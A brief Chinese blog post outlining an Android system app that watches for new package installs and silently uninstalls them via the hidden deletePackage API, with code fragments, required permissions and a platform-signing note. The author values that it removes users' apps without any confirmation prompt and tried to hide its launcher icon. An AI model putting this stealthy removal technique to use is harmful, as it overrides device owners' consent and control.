弄了一个小程序,可以监听用户安装的应用程序,对新安装的应用程序进行自动的删除操作。
步骤一:创建一个receiver.java,监听手机启动完成,新安装安装完成的事件。
步骤二:创建一个空的Handle对象,里面的handleMessage()方法为空。
步骤三:定义一个类继承与IPackageDeleteObserver.Stub,重写方法packageDeleted();Message msg = mHandler.obtainMessage(0); msg.arg1 = returnCode; msg.obj = packageName; mHandler.sendMessage(msg);
步骤四:Recivier (android.intent.action.PACKAGE_ADDED)后getPackageManager().deletePackage(packageName, observer(步骤三的对象), 0);
当然需要在AndroidManifest.xml: 添加如下权限:
<uses-permission android:name="android.permission.DELETE_PACKAGES" />
<uses-permission android:name="android.permission.CLEAR_APP_CACHE" />
总结,因为这个程序引用了import android.content.pm.IPackageDeleteObserver;,android.jar包里面没有这个文件,需要在源码下编译,并且LOCAL_CERTIFICATE := platform
总体来说比较简单,只是因为好久没有写android程序了,一些细节还是没有做好,本来想隐藏该apk的laucher的图标,可是就不能成功。郁闷死了~~
这个比 Uri uri = Uri.fromParts("package", packageName, null);
Intent itent = new Intent(Intent.ACTION_DELETE, uri);
itent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(itent);
要强,这个东东会弹出确认对话框,需要用户点击ok才好。我最上面的就不痛了,可以自动的神不知鬼不觉的删除用户新安装的应用。